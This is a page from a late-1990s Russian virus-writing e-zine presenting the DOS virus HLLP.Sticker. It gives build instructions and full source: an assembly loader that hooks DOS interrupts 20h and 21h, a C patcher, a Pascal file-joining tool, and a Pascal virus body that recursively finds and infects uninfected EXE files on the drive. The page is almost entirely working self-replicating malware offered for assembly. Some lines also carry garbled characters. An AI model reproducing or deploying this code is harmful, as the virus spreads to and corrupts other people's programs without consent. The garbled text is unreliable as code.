- [Duke's Virus Labs #4] - [Page 09] - HLLP.Sticker (c) by Tankist/Hell13 Имя вируса : HLLP.Sticker Автор : Tankist/Hell13 Язык прогр. : Turbo Pascal 7.0 + Turbo Assembler 5.0 Дата создания : 12.12.98 Вирус заражает *.EXE файлы на том диске, где запущен (по одному за раз). Размер ~9К. Вредные действия не предусмотрены, но может неправильно заразить некоторые сжатые файлы и файлы под винды. Благодарности: Сергею Расторгуеву (356-00-60,522-61-11) за программу склейки файлов. Чтобы получить рабочий (или не очень) вирус, нужно : 1. Получить ехе'шники всех файлов 2. Вставить в klei.exe содержимое r.exe, начиная с "хаха" (это делает прога на с) 3. Теперь можно приступить к сборке самого вируса. Для этого нужно запустить программу склейки файлов : klei.exe <заражаемый файл> <тело вируса> <что из этого получится> где <тело вируса> - файл virklei.exe После этого должно получиться нечто похожее на go2.exe (см. прилагающийся к статье архив). P.S. Все адреса (смещения) стоят, как получилось у меня. Если они не совпадут с тем, что получится у Вас, я не виноват. ===== begin r.asm ===== sseg segment stack db 160 dup (?) sseg ends cseg segment assume cs:cseg,ss:sseg z proc far push ds jmp serg ; ПРОГРАММА ОБРАБОТКИ 20 ПРЕРЫВАНИЯ pri20: jmp prod ;ПРОГРАММА ОБРАБОТКИ ФУНКЦИИ 4ch 21h ПРЕРЫВАНИЯ pri21: cmp ah,4ch je ppp cmp ah,0h je ppp jne pi21 ppp: jmp prod nop pi20: db 0eah aaa dw 0,0 pi21: db 0eah aaa1 dw 0,0 db 0 adr1 dw 0 adr2 dw 0 zad1 dw 0 zpsp dw 0 hand dw 5 r dw 0 ;Полный размер управляющей части задачи в байтах. r1 dw 0 ;Размер исполняемой части первой задачи. r11 dw 0 rf1 dw 0 ;Смещение до исполняемой части первой задачи. rf11 dw 0 r20 dw 0 ;r+полный размер первой задачи r21 dw 0 r2 dw 0 ;Размер исполняемой части второй задачи. r22 dw 0 rf2 dw 0 ;Смещение до исполняемой части второй задачи. rf22 dw 0 tab1 dw 0 ;Таблица перемещения первой задачи tab11 dw 0 tab2 dw 0 ;Таблица перемещения второй задачи tab22 dw 0 nomz dw 0 zag dw 0 ;0 dz dw 0 ;+2 dz1 dw 0 ;+4 cnt dw 0 ;Число элементов в таблице перемещения +6 dzag dw 0 ;Длина заголовка в параграфах +8 min dw 0 ;минимум памяти за концом программы +0a max dw 0 ;максимум +0c stek dw 0 ;ss +0e stekr dw 0 ;sp +10 ksum dw 0 +12 starip dw 0 ;ip +14 starcs dw 0 ;cs +16 tab dw 0 ;Смещение таблицы перемещения +18 over dw 0 ;Номера оверлеев +1a dw 0,0,0,0,0 dddm db 'r.exe',0,0,0,0,0,0,0,0,0,0,0 adrds dw 0 adrss dw 0 adrsp dw 0 ;======================================================== serg: pop ds mov cs:adrss,ss mov cs:adrds,ds mov cs:adrsp,sp push ds push es ; ;===================================================== ;+++++++ Перехватить 20h прерывание ++++++++++++++++++ ;===================================================== cli push cs pop ds mov es,ax mov bx,20h*4 mov ax,es:[bx] mov dx,es:[bx+2] mov aaa,ax mov aaa[2],dx mov es:[bx+2],cs mov ax,offset pri20 mov es:[bx],ax ;===================================================== ;+++++++ Перехватить 21h прерывание ++++++++++++++++++ ;===================================================== push cs pop ds mov ax,0 mov es,ax mov bx,21h*4 mov ax,es:[bx] mov dx,es:[bx+2] mov aaa1,ax mov aaa1[2],dx mov es:[bx+2],cs mov ax,offset pri21 mov es:[bx],ax sti pop es pop ds jmp start ;ОСНОВНАЯ ПРОГРАММА start: push cs pop ds ;Определить место загрузки для первой приклееной задачи mov ax,offset fin ror ax,1 ror ax,1 ror ax,1 ror ax,1 and ax,0fffh push cs pop bx add bx,ax add bx,1 mov ax,bx add ax,16h mov bx,ax add bx,10h mov zad1,bx mov cs:zpsp,ax ;============================================================== das: push cs pop ds mov dx,offset dddm mov ax,3d00h int 21h ;открыть файл mov bx,ax ;логический номер mov hand,bx ;Выполнить lseek на размер загруженной задачи cmp nomz,0 je da1 mov dx,cs:r20 mov cx,cs:r21 jmp da2 da1: mov dx,cs:r mov cx,0 da2: mov ax,4200h mov bx,cs:hand int 21h ;Прочитать заголовок следующей задачи mov ah,3fh mov dx,offset zag mov cx,1ch int 21h ;Определить файловое смещение загружаемого модуля cmp nomz,0 je da3 mov cx,cs:rf22 mov dx,cs:rf2 jmp da4 da3: mov cx,cs:rf11 mov dx,cs:rf1 da4: mov bx,cs:hand mov ax,4200h int 21h ;выполнить lseek ;Прочитать модуль в память. cmp nomz,0 je da5 mov cx,cs:r2 jmp da6 da5: mov cx,cs:r1 da6: mov ds,cs:zad1 mov dx,0 mov ah,3fh mov bx,cs:hand int 21h mov dx,ax ver1: cmp cs:nomz,0 je da51 mov ax,cs:r22 jmp da61 da51: mov ax,cs:r11 da61: cmp ax,0 je dal1 sub ax,1 cmp cs:nomz,0 je da52 mov cs:r22,ax jmp da62 da52: mov cs:r11,ax da62: mov ah,3fh mov cx,0fff0h int 21h mov ax,ds add ax,0fffh mov ds,ax jmp ver1 dal1: push cs pop ds ;Установить указатель файла на начало таблицы перемещения 1 задачи cmp nomz,0 je da7 mov dx,cs:tab2 mov cx,cs:tab22 jmp da8 da7: mov dx,cs:tab1 mov cx,cs:tab11 da8: mov bx,cs:hand mov ax,4200h int 21h ;выполнить lseek ;Для каждого элемента перемещения выполнить сложение mov cx,cs:cnt cmp cx,0 je fff zikl: push cx ;прочитать адрес в память push cs pop ds mov dx,offset adr1 mov ah,3fh mov cx,4 mov bx,cs:hand int 21h ;------------------░-------------------- ;Вычислить адрес mov ax,cs:zad1 mov bx,cs:adr2 add ax,bx mov bx,cs:adr1 push es push ax pop es mov ax,es:[bx] push bx mov bx,cs:zad1 add ax,bx pop bx mov es:[bx],ax pop es pop cx sub cx,1 cmp cx,0 jne zikl nop ;закрыть Qайл fff: mov bx,cs:hand mov ah,3eh int 21h ;Инициализировать регистры и запустить программу mov ds,cs:adrds mov es,cs:adrds mov bx,cs:zpsp ; mov es,bx ; mov ds,bx mov bx,cs:zad1 add bx,cs:stek mov ss,bx mo┘ sp,cs:stekr mov bx,cs:zad1 add bx,cs:starcs mov ax,cs:starip push bx push ax mov ax,0 ret nopП prod: nop pop ax pop ax pop ax ;Проверить какая задача запускалась первая или вторая? cmp cs:nomz,0 jne da add cs:nomz,1 mov ss,cs:adrss mov sp,cs:adrsp mov es,cs:adrds mov bx,0ffffh mov ah,4ah int 21h mov es,cs:adrds mov ah,4ah int 21h ;mov ah,48h ;mov bx,0ffffh ;int 21h ;mov ah,48h ;int 21h ;mov cs:zad1,ax jmp das da: mov ss,cs:adrss mov sp,cs:adrsp mov ds,cs:adrds mov es,cs:adrds cli mov ax,0 mov es,ax mov ax,cs:aaa mov bx,20h*4 mov es:[bx],ax mov ax,cs:aaa[2] mov es:[bx+2],ax sti mov ax,0 mov es,ax cli mov ax,cs:aaa1 mov bx,21h*4 mov es:[bx],ax mov ax,cs:aaa1[2] mov es:[bx+2],ax sti push cs pop ds ; mov dx,offset xaxa ; mov ah,9h ; int 21h ;выдать сообщение mov ax,4c00h int 21h xaxa db " Программа N 1 отработала$",0 db 0,0,0,0 fin: ret cseg ends end z ===== end r.asm ===== ===== begin podg.c ===== #include main() { int n,n2; char *a; unsigned int k; n=_open("r.exe",0); a=farmalloc(60000l); if(a==0) abort(); if(n<1) abort(); k=1492; k=_read(n,a,30000); close(n); n2=_open("klei.exe",4); if(n2<1) abort(); lseek(n2,0x1992l,0); _write(n2,a,k); /* Нулевой файл скопирован */ close(n2); } ===== end podg.c ===== ===== begin klei.pas ===== {Программа, склеивующая два файла } {Сделана на основе аналогичной программы от творческого коллектива "Наука" } {в лице Сергея Расторгуева (522-61-11,356-00-60) } type arr=array[0..30000]of char; const rr:array[0..1999]of char='xaxa'; var ik:integer; i:integer; df0,df1,df2,dfr:longint; zag1,zag2:array[0..31]of word; k,k1:word; a:^arr; n,n1,n2:file; iv:array[1..3]of string; procedure smes(var i1,i:word;var e:longint); begin i:=0; i1:=0; while e>$ffff do begin e:=e-$10000; inc(i) end; i1:=e; end; procedure smesd(var i1,i:word;var e:longint); begin i:=0; i1:=0; while e>$fff0 do begin e:=e-$ffff0; inc(i) end; i1:=e; end; begin iv[1]:=paramstr(1); {1-й файл} iv[2]:=paramstr(2); {2-й файл} iv[3]:=paramstr(3); {куда переписывать} new(a); { n=_open("r.exe",0); } assign(n1,iv[1]); reset(n1,1); { df0=filelength(n); } df0:=1492; k:=1492; { k=_read(n,a,30000); } { close(n); } assign(n2,iv[3]); rewrite(n2,1); blockwrite(n2,rr,k); df1:=filesize(n1); blockread(n1,zag1,$1e,k); seek(n1,0); blockread(n1,a^,30000,k); repeat blockwrite(n2,a^,k); blockread(n1,a^,30000,k) until k=0; close(n1); { Нулевой файл скопирован } assign(n1,iv[2]); reset(n1,1); df2:=filesize(n1); blockread(n1,zag2,$1e,k); seek(n1,0); blockread(n1,a^,30000,k); repeat blockwrite(n2,a^,k); blockread(n1,a^,30000,k) until k=0; close(n1); close(n2); { имя задачи } assign(n,iv[3]); reset(n,1); seek(n,$312); i:=length(iv[3]); blockwrite(n,iv[3][1],i); { dddm } { размер управляющей части } i:=df0; seek(n,$2cc); blockwrite(n,i,2); { r } { первая задача } dfr:=df1-zag1[4]*16; smesd(k,k1,dfr); seek(n,$2ce); { r1 } blockwrite(n,k,2); { длина } blockwrite(n,k1,2); dfr:=df0+zag1[4]*16; smes(k,k1,dfr); seek(n,$2d2); { rf1 } blockwrite(n,k,2); { смещение } blockwrite(n,k1,2); dfr:=df0+zag1[12]; smes(k,k1,dfr); seek(n,$2e2); { tab1 } blockwrite(n,k,2); blockwrite(n,k1,2); { полный размер первой задачи и управляющей части } dfr:=df0+df1; smes(k,k1,dfr); seek(n,$2d6); { r20 } blockwrite(n,k,2); blockwrite(n,k1,2); { Второй файл } dfr:=df2-zag2[4]*16; smesd(k,k1,dfr); seek(n,$2da); { r2 } blockwrite(n,k,2); { длина } blockwrite(n,k1,2); dfr:=df0+df1+zag2[4]*16; smes(k,k1,dfr); seek(n,$2de); { rf2 } blockwrite(n,k,2); { смещение } blockwrite(n,k1,2); dfr:=df0+df1+zag2[12]; smes(k,k1,dfr); seek(n,$2e6); { tab2 } blockwrite(n,k,2); { смещение таблицы перемещения } blockwrite(n,k1,2); close(n); dispose(a); writeln('Ok'); end. ===== end klei.pas ===== ===== begin virklei.pas ===== {Вирус HLLP.Sticker} {$I-} uses dos; type arr=array[0..29999]of char; var i:integer; df0,df1,df2,dfr:longint; zag1,zag2:array[0..31]of word; k,k1,k2:word; a:^arr; n,n1,n2:file; procedure smes(var i1,i:word;var e:longint); begin i:=0; i1:=0; while e>$ffff do begin e:=e-$10000; inc(i) end; i1:=e; end; procedure smesd(var i1,i:word;var e:longint); begin i:=0; i1:=0; while e>$fff0 do begin e:=e-$ffff0; inc(i) end; i1:=e; end; procedure zar(name1,name3:string); const name2:string[3]='aaa'; {Имя временного файла} size=7088; begin assign(n2,name3); rename(n2,name2); new(a); { n=_open("r.exe",0); } assign(n1,name1); reset(n1,1); { df0=filelength(n); } df0:=1492; k:=1492; { k=_read(n,a,30000); } { close(n); } blockread(n1,a^,k); assign(n2,name3); rewrite(n2,1); blockwrite(n2,a^,k); close(n1); { Нулевой файл скопирован } assign(n1,name2); reset(n1,1); df1:=filesize(n1); blockread(n1,zag1,$1e,k); seek(n1,0); blockread(n1,a^,30000,k); repeat blockwrite(n2,a^,k); blockread(n1,a^,30000,k) until k=0; close(n1); {Вычисление параметров зараженного файла} assign(n1,name1); reset(n1,1); df2:=size; seek(n1,$2d6); blockread(n1,k2,2); blockread(n1,k1,2); seek(n1,k1*$10000+k2); blockread(n1,zag2,$1e,k); seek(n1,k1*$10000+k2); blockread(n1,a^,30000,k); repeat blockwrite(n2,a^,k); blockread(n1,a^,30000,k) until k=0; close(n1); close(n2); { имя задачи } assign(n,name3); reset(n,1); seek(n,$312); i:=length(name3); blockwrite(n,name3[1],i); { размер управляющей части } i:=df0; seek(n,$2cc); blockwrite(n,i,2); { r } { первая задача } dfr:=df1-zag1[4]*16; smesd(k,k1,dfr); seek(n,$2ce); { r1 } blockwrite(n,k,2); { длина } blockwrite(n,k1,2); dfr:=df0+zag1[4]*16; smes(k,k1,dfr); seek(n,$2d2); { rf1 } blockwrite(n,k,2); { смещение } blockwrite(n,k1,2); dfr:=df0+zag1[12]; smes(k,k1,dfr); seek(n,$2e2); { tab1 } blockwrite(n,k,2); blockwrite(n,k1,2); {full} dfr:=df0+df1; smes(k,k1,dfr); seek(n,$2d6); { r20 } blockwrite(n,k,2); blockwrite(n,k1,2); {2} dfr:=df2-zag2[4]*16; smesd(k,k1,dfr); seek(n,$2da); { r2 } blockwrite(n,k,2); { длина } blockwrite(n,k1,2); dfr:=df0+df1+zag2[4]*16; smes(k,k1,dfr); seek(n,$2de); { rf2 } blockwrite(n,k,2); { смещение } blockwrite(n,k1,2); dfr:=df0+df1+zag2[12]; smes(k,k1,dfr); seek(n,$2e6); { tab2 } blockwrite(n,k,2); { смещение таблицы перемещения } blockwrite(n,k1,2); close(n); dispose(a); {освободить память} assign(n2,name2); erase(n2); {стереть временный файл} end; var st:string; procedure infectall; var fl:searchrec; f:file; s:array[1..4]of char; begin findfirst('*.exe',$20,fl); while doserror=0 do begin assign(f,fl.name); reset(f,1); blockread(f,s,4); close(f); if s<>'MZ'#$D4#1 then {Еще не заражен?} begin zar(paramstr(0),fl.name); {Не заражен... пока} chdir(st); halt; end; findnext(fl); {Тогда следующий} end; end; procedure find; var fl:searchrec; begin infectall; {Есть незараженные файлы?} findfirst('*',$10,fl); {Тогда пошли дальше} while fl.name[1]='.' do findnext(fl); while doserror=0 do begin chdir(fl.name); find; findnext(fl); end; chdir('..'); {Там нет? Тогда пошли назад} end; begin getdir(0,st); {Запомним где мы живем} repeat chdir('..'); find; until ioresult<>0; chdir(st); {А незараженных файлов больше нет... Обидно, да?} end. ===== end virklei.pas =====